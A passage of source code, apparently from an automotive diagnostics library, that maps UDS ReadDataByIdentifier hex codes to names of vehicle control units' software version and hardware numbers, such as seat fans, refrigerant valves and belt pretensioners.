"Seat_cushion_fan_1_front_left_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x64c4] = "Seat_cushion_fan_2_front_left_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x64c5] = "Seat_backrest_fan_1_front_right_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x64c6] = "Seat_backrest_fan_2_front_right_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x64c7] = "Seat_cushion_fan_1_front_right_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x64c8] = "Seat_cushion_fan_2_front_right_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x64c9] = "Operating_and_display_unit_1_for_air_conditioning_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x64ca] = "Operating_and_display_unit_2_for_air_conditioning_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x64cb] = "Operating_and_display_unit_3_for_air_conditioning_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x64cc] = "Operating_and_display_unit_4_for_air_conditioning_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x64cd] = "Operating_and_display_unit_5_for_air_conditioning_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x64ce] = "Pedestrian_protection_left_hand_side_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x64cf] = "Pedestrian_protection_right_hand_side_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x64d0] = "Battery_junction_box_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x64d1] = "Cell_module_controller_1_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x64d2] = "Cell_module_controller_2_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x64d3] = "Cell_module_controller_3_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x64d4] = "Cell_module_controller_4_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x64d5] = "Cell_module_controller_5_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x64d6] = "Cell_module_controller_6_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x64d7] = "Cell_module_controller_7_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x64d8] = "Cell_module_controller_8_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x64d9] = "Cell_module_controller_9_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x64da] = "Cell_module_controller_10_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x64db] = "Cell_module_controller_11_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x64dc] = "Cell_module_controller_12_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x64dd] = "Seat_backrest_fan_1_rear_left_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x64de] = "Seat_backrest_fan_2_rear_left_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x64df] = "Seat_cushion_fan_1_rear_left_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x64e0] = "Seat_cushion_fan_2_rear_left_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x64e1] = "Seat_backrest_fan_1_rear_right_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x64e2] = "Seat_backrest_fan_2_rear_right_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x64e3] = "Seat_cushion_fan_1_rear_right_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x64e4] = "Seat_cushion_fan_2_rear_right_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x64e5] = "Auxiliary_blower_motor_control_1_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x64e6] = "Auxiliary_blower_motor_control_2_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x64e7] = "Infrared_sender_for_front_observation_module_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x64e8] = "Starter_generator_control_module_sub_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x64e9] = "Media_player_1_sub_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x64ea] = "Media_player_2_sub_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x64eb] = "Dedicated_short_range_communication_aerial_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x64ec] = "Refrigerant_pressure_and_temperature_sender_4_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x64ed] = "Refrigerant_pressure_and_temperature_sender_5_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x64ee] = "Refrigerant_pressure_and_temperature_sender_6_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x64ef] = "Air_coolant_actuator_1_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x64f0] = "Air_coolant_actuator_2_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x64f1] = "Cell_module_controller_13_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x64f2] = "Cell_module_controller_14_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x64f3] = "Cell_module_controller_15_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x64f5] = "Seat_heating_rear_1_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x64f6] = "LED_warning_indicator_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x64f7] = "Automatic_transmission_fluid_pump_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x64f8] = "Manual_transmission_fluid_pump_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x64f9] = "Convenience_and_driver_assist_operating_unit_2_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x64fb] = "Air_coolant_actuator_3_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x64fc] = "Valve_block_4_in_driver_side_rear_seat_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x64fd] = "Valve_block_4_in_passenger_side_rear_seat_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x64fe] = "Valve_block_4_in_driver_side_front_seat_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x64ff] = "Valve_block_4_in_passenger_side_front_seat_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x6501] = "Rear_climatronic_operating_and_display_unit_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x6502] = "Refrigerant_expansion_valve_1_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x6503] = "Refrigerant_expansion_valve_2_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x6504] = "Refrigerant_expansion_valve_3_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x6505] = "Refrigerant_shut_off_valve_1_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x6506] = "Refrigerant_shut_off_valve_2_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x6507] = "Refrigerant_shut_off_valve_3_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x6508] = "Refrigerant_shut_off_valve_4_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x6509] = "Refrigerant_shut_off_valve_5_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x650a] = "Sunlight_sensor_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x650b] = "Near_field_communication_control_module_2_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x650c] = "Clutch_control_unit_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x650d] = "Electrical_charger_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x650e] = "Rear_light_left_2_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x650f] = "Rear_light_right_1_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x6510] = "Rear_light_right_2_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x6511] = "Sunlight_sensor_2_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x6512] = "Radiator_shutter_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x6513] = "Radiator_shutter_2_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x6514] = "Radiator_shutter_3_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x6515] = "Radiator_shutter_4_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x6518] = "Special_key_operating_unit_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x6519] = "Radio_interface_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x651a] = "Video_self_protection_recorder_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x651b] = "Special_vehicle_assist_interface_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x651c] = "Electric_system_disconnection_diode_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x651d] = "Cradle_rear_climatronic_operating_and_display_unit_2_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x651e] = "Belt_pretensioner_2nd_row_left_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x651f] = "Belt_pretensioner_2nd_row_right_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x6520] = "Electrical_variable_camshaft_phasing_1_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x6521] = "Electrical_variable_camshaft_phasing_2_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x6522] = "Wireless_operating_unit_1_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x6523] = "Wireless_operating_unit_2_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x6524] = "Front_windshield_washer_pump_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x6525] = "Air_quality_sensor_2_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x6526] = "Fragrancing_system_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x6527] = "Coolant_valve_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x6528] = "Near_field_communication_control_module_3_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x6529] = "Interior_monitoring_rear_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x652a] = "Cooler_fan_1_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x652b] = "Control_unit_heating_1_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x652c] = "Control_unit_heating_2_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x652d] = "Control_unit_heating_3_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x652e] = "Control_unit_heating_4_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x652f] = "Operating_unit_drive_mode_selection_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x6530] = "Side_sensor_a-pillar_driver_front_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x6531] = "Side_sensor_a-pillar_passenger_front_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x6532] = "Sensor_high_voltage_system_1_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x6533] = "Side_sensor_b-pillar_driver_front_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x6534] = "Side_sensor_b-pillar_passenger_front_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x6535] = "Multi_function_steering_wheel_control_module_2_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x6536] = "Gear_selection_display_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x6537] = "Cooler_fan_2_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x6538] = "Gear_selector_control_module_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x6539] = "Interior_light_module_2_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x653a] = "Radio_control_center_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x653b] = "Multimedia_extension_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x653c] = "Control_unit_differential_lock_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x653d] = "Control_unit_ride_control_system_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x653e] = "Control_unit_hands_on_detection_steering_wheel_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x653f] = "Front_climatronic_operating_and_display_unit_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x6540] = "Auxiliary_display_unit_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x6541] = "Card_reader_tv_tuner_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x6542] = "Park_lock_actuator_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x6543] = "Media_connector_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x6544] = "Catalyst_heating_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x6601] = "Control_unit_for_wiper_motor_Hardware_Number" UDS_RDBI.dataIdentifiers[0x6602] = "Rain_light_recognition_sensor_Hardware_Number" UDS_RDBI.dataIdentifiers[0x6603] = "Light_switch_Hardware_Number" UDS_RDBI.dataIdentifiers[0x6604] = "Garage_door_opener_control_module_Hardware_Number" UDS_RDBI.dataIdentifiers[0x6605] = "Garage_door_opener_operating_unit_Hardware_Number" UDS_RDBI.dataIdentifiers[0x6606] = "Ignition_key_Hardware_Number" UDS_RDBI.dataIdentifiers[0x6607] = "Left_front_seat_ventilation_control_module_Hardware_Number" UDS_RDBI.dataIdentifiers[0x6608] = "Right_front_seat_ventilation_control_module_Hardware_Number" UDS_RDBI.dataIdentifiers[0x6609] = "Left_rear_seat_ventilation_control_module_Hardware_Number" UDS_RDBI.dataIdentifiers[0x660a] = "LED_headlamp_powermodule_left_Hardware_Number" UDS_RDBI.dataIdentifiers[0x660b] = "LED_headlamp_powermodule_right_Hardware_Number" UDS_RDBI.dataIdentifiers[0x660c] = "LED_headlamp_powermodule_2_left_Hardware_Number" UDS_RDBI.dataIdentifiers[0x660d] = "LED_headlamp_powermodule_2_right_Hardware_Number" UDS_RDBI.dataIdentifiers[0x660e] = "Operating_and_display_unit_1_Hardware_Number" UDS_RDBI.dataIdentifiers[0x660f] = "Operating_and_display_unit_2_Hardware_Number" UDS_RDBI.dataIdentifiers[0x6610] = "Right_rear_seat_ventilation_control_module_Hardware_Number" UDS_RDBI.dataIdentifiers[0x6611] = "Data_medium_Hardware_Number" UDS_RDBI.dataIdentifiers[0x6612] = "Drivers_door_control_module_Hardware_Number" UDS_RDBI.dataIdentifiers[0x6613] = "Front_passengers_door_control_module_Hardware_Number" UDS_RDBI.dataIdentifiers[0x6614] = "Left_headlamp_power_output_stage_Hardware_Number" UDS_RDBI.dataIdentifiers[0x6615] = "Right_headlamp_power_output_stage_Hardware_Number" UDS_RDBI.dataIdentifiers[0x6616] = "Sensor_for_anti_theft_alarm_system_Hardware_Number" UDS_RDBI.dataIdentifiers[0x6617] = "Rear_lid_control_module_2_Hardware_Number" UDS_RDBI.dataIdentifiers[0x6618] = "Alarm_horn_Hardware_Number" UDS_RDBI.dataIdentifiers[0x6619] = "Automatic_day_night_interior_mirror_Hardware_Number" UDS_RDBI.dataIdentifiers[0x661a] = "Remote_control_auxiliary_heater_Hardware_Number" UDS_RDBI.dataIdentifiers[0x661b] = "Fresh_air_blower_front_Hardware_Number" UDS_RDBI.dataIdentifiers[0x661c] = "Fresh_air_blower_back_Hardware_Number" UDS_RDBI.dataIdentifiers[0x661d] = "Alternator_Hardware_Number" UDS_RDBI.dataIdentifiers[0x661e] = "Interior_light_module_Hardware_Number" UDS_RDBI.dataIdentifiers[0x661f] = "Refrigerant_pressure_and_temperature_sender_Hardware_Number" UDS_RDBI.dataIdentifiers[0x6620] = "Sun_roof_Hardware_Number" UDS_RDBI.dataIdentifiers[0x6621] = "Steering_column_lock_actuator_Hardware_Number" UDS_RDBI.dataIdentifiers[0x6622] = "Anti_theft_tilt_system_control_unit_Hardware_Number" UDS_RDBI.dataIdentifiers[0x6623] = "Tire_pressure_monitor_antenna_Hardware_Number" UDS_RDBI.dataIdentifiers[0x6624] = "Heated_windshield_control_module_Hardware_Number" UDS_RDBI.dataIdentifiers[0x6625] = "Rear_light_left_1_Hardware_Number" UDS_RDBI.dataIdentifiers[0x6626] = "Ceiling_light_module_Hardware_Number" UDS_RDBI.dataIdentifiers[0x6627] = "Left_front_massage_seat_control_module_Hardware_Number" UDS_RDBI.dataIdentifiers[0x6628] = "Right_front_massage_seat_control_module_Hardware_Number" UDS_RDBI.dataIdentifiers[0x6629] = "Control_module_for_auxiliary_air_heater_Hardware_Number" UDS_RDBI.dataIdentifiers[0x662a] = "Belt Pretensioner left_Hardware_Number" UDS_RDBI.dataIdentifiers[0x662b] = "Belt Pretensioner right_Hardware_Number" UDS_RDBI.dataIdentifiers[0x662c] = "Occupant Detection_Hardware_Number" UDS_RDBI.dataIdentifiers[0x662d] = "Selector_lever_Hardware_Number" UDS_RDBI.dataIdentifiers[0x662e] = "NOx_sensor_1_Hardware_Number" UDS_RDBI.dataIdentifiers[0x662f] = "NOx_sensor_2_Hardware_Number" UDS_RDBI.dataIdentifiers[0x6630] = "Ioniser_Hardware_Number" UDS_RDBI.dataIdentifiers[0x6631] = "Multi_function_steering_wheel_control_module_Hardware_Number" UDS_RDBI.dataIdentifiers[0x6632] = "Left_rear_door_control_module_Hardware_Number" UDS_RDBI.dataIdentifiers[0x6633] = "Right_rear_door_control_module_Hardware_Number" UDS_RDBI.dataIdentifiers[0x6634] = "Left_rear_massage_seat_control_module_Hardware_Number" UDS_RDBI.dataIdentifiers[0x6635] = "Right_rear_massage_seat_control_module_Hardware_Number" UDS_RDBI.dataIdentifiers[0x6636] = "Display_unit_1_for_multimedia_system_Hardware_Number" UDS_RDBI.dataIdentifiers[0x6637] = "Battery_monitoring_control_module_Hardware_Number" UDS_RDBI.dataIdentifiers[0x6638] = "Roof_blind_Hardware_Number" UDS_RDBI.dataIdentifiers[0x6639] = "Sun_roof_2_Hardware_Number" UDS_RDBI.dataIdentifiers[0x663a] = "Steering_angle_sender_Hardware_Number" UDS_RDBI.dataIdentifiers[0x663b] = "Lane_change_assistant 2_Hardware_Number" UDS_RDBI.dataIdentifiers[0x663c] = "Pitch_rate_sender_Hardware_Number" UDS_RDBI.dataIdentifiers[0x663d] = "ESP_sensor_unit_Hardware_Number" UDS_RDBI.dataIdentifiers[0x663e] = "Electronic_ignition_lock_Hardware_Number" UDS_RDBI.dataIdentifiers[0x663f] = "Air_quality_sensor_Hardware_Number" UDS_RDBI.dataIdentifiers[0x6640] = "Display_unit_2_for_multimedia_system_Hardware_Number" UDS_RDBI.dataIdentifiers[0x6641] = "Telephone_handset_2_Hardware_Number" UDS_RDBI.dataIdentifiers[0x6642] = "Chip_card_reader_control_module_Hardware_Number" UDS_RDBI.dataIdentifiers[0x6643] = "Traffic_data_aerial_Hardware_Number" UDS_RDBI.dataIdentifiers[0x6644] = "Hands_free_system_Hardware_Number" UDS_RDBI.dataIdentifiers[0x6645] = "Telephone_handset_Hardware_Number" UDS_RDBI.dataIdentifiers[0x6646] = "Display_unit_front_for_multimedia_system_Hardware_Number" UDS_RDBI.dataIdentifiers[0x6647] = "Multimedia_operating_unit_Hardware_Number" UDS_RDBI.dataIdentifiers[0x6648] = "Digital_sound_system_control_module_2_Hardware_Number" UDS_RDBI.dataIdentifiers[0x6649] = "Electrically_adjustable_steering_column_Hardware_Number" UDS_RDBI.dataIdentifiers[0x664a] = "Interface_for_external_multimedia_unit_Hardware_Number" UDS_RDBI.dataIdentifiers[0x664b] = "Relative_Air_Humidity_Interior_Sender_Hardware_Number" UDS_RDBI.dataIdentifiers[0x664c] = "Drivers_door_rear_control_module_Hardware_Number" UDS_RDBI.dataIdentifiers[0x664d] = "Passengers_rear_door_control_module_Hardware_Number" UDS_RDBI.dataIdentifiers[0x664e] = "Sensor_controlled_power_rear_lid_Hardware_Number" UDS_RDBI.dataIdentifiers[0x664f] = "Camera_for_night_vision_system_Hardware_Number" UDS_RDBI.dataIdentifiers[0x6650] = "Relative_humidity_sensor_in_fresh_air_intake_duct_Hardware_Number" UDS_RDBI.dataIdentifiers[0x6651] = "Rear_spoiler_adjustment_Hardware_Number" UDS_RDBI.dataIdentifiers[0x6652] = "Roof_blind_2_Hardware_Number" UDS_RDBI.dataIdentifiers[0x6653] = "Motor_for_wind_deflector_Hardware_Number" UDS_RDBI.dataIdentifiers[0x6654] = "Voltage_stabilizer_Hardware_Number" UDS_RDBI.dataIdentifiers[0x6655] = "Switch_module_for_driver_seat_Hardware_Number" UDS_RDBI.dataIdentifiers[0x6656] = "Switch_module_for_front_passenger_seat_Hardware_Number" UDS_RDBI.dataIdentifiers[0x6657] = "Switch_module_for_rear_seat_driver_side_Hardware_Number" UDS_RDBI.dataIdentifiers[0x6658] = "Switch_module_for_rear_seat_front_passenger_side_Hardware_Number" UDS_RDBI.dataIdentifiers[0x6659] = "Switch_module_2_for_driver_seat_Hardware_Number" UDS_RDBI.dataIdentifiers[0x665a] = "Battery_charger_unit_1_Hardware_Number" UDS_RDBI.dataIdentifiers[0x665b] = "Battery_charger_unit_2_Hardware_Number" UDS_RDBI.dataIdentifiers[0x665c] = "Battery_charger_unit_3_Hardware_Number" UDS_RDBI.dataIdentifiers[0x665d] = "Air_conditioning_compressor_Hardware_Number" UDS_RDBI.dataIdentifiers[0x665e] = "Neck_heating_left_Hardware_Number" UDS_RDBI.dataIdentifiers[0x665f] = "Neck_heating_right_Hardware_Number" UDS_RDBI.dataIdentifiers[0x6660] = "Switch_module_2_for_front_passenger_seat_Hardware_Number" UDS_RDBI.dataIdentifiers[0x6661] = "Switch_module_2_for_rear_seat_front_passenger_side_Hardware_Number" UDS_RDBI.dataIdentifiers[0x6662] = "Compact_disc_database_Hardware_Number" UDS_RDBI.dataIdentifiers[0x6663] = "Rear_climatronic_operating_and_display_unit_left_Hardware_Number" UDS_RDBI.dataIdentifiers[0x6664] = "Rear_climatronic_operating_and_display_unit_right_Hardware_Number" UDS_RDBI.dataIdentifiers[0x6665] = "Door_handle_front_left_Kessy_Hardware_Number" UDS_RDBI.dataIdentifiers[0x6666] = "Door_handle_front_right_Kessy_Hardware_Number" UDS_RDBI.dataIdentifiers[0x6667] = "Door_handle_rear_left_Kessy_Hardware_Number" UDS_RDBI.dataIdentifiers[0x6668] = "Door_handle_rear_right_Kessy_Hardware_Number" UDS_RDBI.dataIdentifiers[0x6669] = "Power_converter_DC_AC_Hardware_Number" UDS_RDBI.dataIdentifiers[0x666a] = "Battery_monitoring_control_module_2_Hardware_Number" UDS_RDBI.dataIdentifiers[0x666b] = "Matrix_headlamp_powermodule_1_left_Hardware_Number" UDS_RDBI.dataIdentifiers[0x666c] = "Matrix_headlamp_powermodule_1_right_Hardware_Number" UDS_RDBI.dataIdentifiers[0x666d] = "High_beam_powermodule_left_Hardware_Number" UDS_RDBI.dataIdentifiers[0x666e] = "High_beam_powermodule_right_Hardware_Number" UDS_RDBI.dataIdentifiers[0x666f] = "Air_suspension_compressor_Hardware_Number" UDS_RDBI.dataIdentifiers[0x6670] = "Rear_brake_actuator_1_Hardware_Number" UDS_RDBI.dataIdentifiers[0x6671] = "Rear_brake_actuator_2_Hardware_Number" UDS_RDBI.dataIdentifiers[0x6672] = "Analog_clock_Hardware_Number" UDS_RDBI.dataIdentifiers[0x6673] = "Rear_door_control_module_Hardware_Number" UDS_RDBI.dataIdentifiers[0x6679] = "Data_medium_2_Hardware_Number" UDS_RDBI.dataIdentifiers[0x667a] = "Operating_unit_center_console_1_Hardware_Number" UDS_RDBI.dataIdentifiers[0x667b] = "Operating_unit_center_console_2_Hardware_Number" UDS_RDBI.dataIdentifiers[0x667c] = "Operating_unit_center_console_3_Hardware_Number" UDS_RDBI.dataIdentifiers[0x667d] = "Operating_unit_center_console_4_Hardware_Number" UDS_RDBI.dataIdentifiers[0x667e] = "Interface_for_radiodisplay_Hardware_Number" UDS_RDBI.dataIdentifiers[0x667f] = "Parkassist_entry_Hardware_Number" UDS_RDBI.dataIdentifiers[0x6686] = "Belt_pretensioner_3rd_row_left_Hardware_Number" UDS_RDBI.dataIdentifiers[0x6687] = "Belt_pretensioner_3rd_row_right_Hardware_Number" UDS_RDBI.dataIdentifiers[0x6688] = "Injection_valve_heater_control_unit_Hardware_Number" UDS_RDBI.dataIdentifiers[0x6689] = "Steering_column_switch_Hardware_Number" UDS_RDBI.dataIdentifiers[0x668a] = "Brake_assistance_Hardware_Number" UDS_RDBI.dataIdentifiers[0x668b] = "Trailer_articulation_angle_sensor_Hardware_Number" UDS_RDBI.dataIdentifiers[0x668c] = "Cup_holder_with_heater_and_cooling_element_Hardware_Number" UDS_RDBI.dataIdentifiers[0x668d] = "Range_of_vision_sensing_Hardware_Number" UDS_RDBI.dataIdentifiers[0x668e] = "Convenience_and_driver_assist_operating_unit_Hardware_Number" UDS_RDBI.dataIdentifiers[0x668f] = "Cradle_rear_climatronic_operating_and_display_unit_Hardware_Number" UDS_RDBI.dataIdentifiers[0x6690] = "Trailer_weight_nose_weight_detection_Hardware_Number" UDS_RDBI.dataIdentifiers[0x6691] = "Sensor_carbon_dioxide_concentration_Hardware_Number" UDS_RDBI.dataIdentifiers[0x6692] = "Sensor_fine_dust_concentration_Hardware_Number" UDS_RDBI.dataIdentifiers[0x6693] = "Volume_control_1_Hardware_Number" UDS_RDBI.dataIdentifiers[0x6694] = "Belt_buckle_presenter_2nd_row_left_Hardware_Number" UDS_RDBI.dataIdentifiers[0x6695] = "Belt_buckle_presenter_2nd_row_right_Hardware_Number" UDS_RDBI.dataIdentifiers[0x6696] = "Operating_and_display_unit_6_for_air_conditioning_Hardware_Number" UDS_RDBI.dataIdentifiers[0x6697] = "Active_accelerator_pedal_Hardware_Number" UDS_RDBI.dataIdentifiers[0x6698] = "Multimedia_operating_unit_2_Hardware_Number" UDS_RDBI.dataIdentifiers[0x6699] = "Display_unit_3_for_multimedia_system_Hardware_Number" UDS_RDBI.dataIdentifiers[0x669a] = "Display_unit_4_for_multimedia_system_Hardware_Number" UDS_RDBI.dataIdentifiers[0x669b] = "Display_unit_5_for_multimedia_system_Hardware_Number" UDS_RDBI.dataIdentifiers[0x669c] = "Control_module_for_auxiliary_blower_motors_Hardware_Number" UDS_RDBI.dataIdentifiers[0x669d] = "Operating_and_display_unit_3_Hardware_Number" UDS_RDBI.dataIdentifiers[0x669e] = "Operating_and_display_unit_4_Hardware_Number" UDS_RDBI.dataIdentifiers[0x669f] = "Operating_and_display_unit_5_Hardware_Number" UDS_RDBI.dataIdentifiers[0x66a0] = "Side Sensor Driver Front_Hardware_Number" UDS_RDBI.dataIdentifiers[0x66a1] = "Side Sensor Passenger Front_Hardware_Number" UDS_RDBI.dataIdentifiers[0x66a2] = "Side Sensor Driver Rear_Hardware_Number" UDS_RDBI.dataIdentifiers[0x66a3] = "Side Sensor Passenger Rear_Hardware_Number" UDS_RDBI.dataIdentifiers[0x66a4] = "Front Sensor Driver_Hardware_Number" UDS_RDBI.dataIdentifiers[0x66a5] = "Front Sensor Passenger_Hardware_Number" UDS_RDBI.dataIdentifiers[0x66a6] = "Pedestrian Protection Driver_Hardware_Number" UDS_RDBI.dataIdentifiers[0x66a7] = "Pedestrian Protection Passenger_Hardware_Number" UDS_RDBI.dataIdentifiers[0x66a8] = "Rear Sensor Center_Hardware_Number" UDS_RDBI.dataIdentifiers[0x66a9] = "Pedestrian Protection Center_Hardware_Number" UDS_RDBI.dataIdentifiers[0x66aa] = "Pedestrian Protection Contact_Hardware_Number" UDS_RDBI.dataIdentifiers[0x66ab] = "Pedestrian_protection_driver_2_Hardware_Number" UDS_RDBI.dataIdentifiers[0x66ac] = "Pedestrian_protection_passenger_2_Hardware_Number" UDS_RDBI.dataIdentifiers[0x66ad] = "Central_sensor_XY_Hardware_Number" UDS_RDBI.dataIdentifiers[0x66ae] = "Refrigerant_pressure_and_temperature_sender_2_Hardware_Number" UDS_RDBI.dataIdentifiers[0x66af] = "Refrigerant_pressure_and_temperature_sender_3_Hardware_Number" UDS_RDBI.dataIdentifiers[0x66b0] = "Switch_for_rear_multicontour_seat_driver_side_Hardware_Number" UDS_RDBI.dataIdentifiers[0x66b1] = "Valve_block_1_in_driver_side_rear_seat_Hardware_Number" UDS_RDBI.dataIdentifiers[0x66b2] = "Valve_block_2_in_driver_side_rear_seat_Hardware_Number" UDS_RDBI.dataIdentifiers[0x66b3] = "Valve_block_3_in_driver_side_rear_seat_Hardware_Number" UDS_RDBI.dataIdentifiers[0x66b4] = "Switch_for_rear_multicontour_seat_passenger_side_Hardware_Number" UDS_RDBI.dataIdentifiers[0x66b5] = "Valve_block_1_in_passenger_side_rear_seat_Hardware_Number" UDS_RDBI.dataIdentifiers[0x66b6] = "Valve_block_2_in_passenger_side_rear_seat_Hardware_Number" UDS_RDBI.dataIdentifiers[0x66b7] = "Valve_block_3_in_passenger_side_rear_seat_Hardware_Number" UDS_RDBI.dataIdentifiers[0x66b8] = "Switch_for_front_multicontour_seat_driver_side_Hardware_Number" UDS_RDBI.dataIdentifiers[0x66b9] = "Valve_block_1_in_driver_side_front_seat_Hardware_Number" UDS_RDBI.dataIdentifiers[0x66ba] = "Valve_block_2_in_driver_side_front_seat_Hardware_Number" UDS_RDBI.dataIdentifiers[0x66bb] = "Valve_block_3_in_driver_side_front_seat_Hardware_Number" UDS_RDBI.dataIdentifiers[0x66bc] = "Switch_for_front_multicontour_seat_passenger_side_Hardware_Number" UDS_RDBI.dataIdentifiers[0x66bd] = "Valve_block_1_in_passenger_side_front_seat_Hardware_Number" UDS_RDBI.dataIdentifiers[0x66be] = "Valve_block_2_in_passenger_side_front_seat_Hardware_Number" 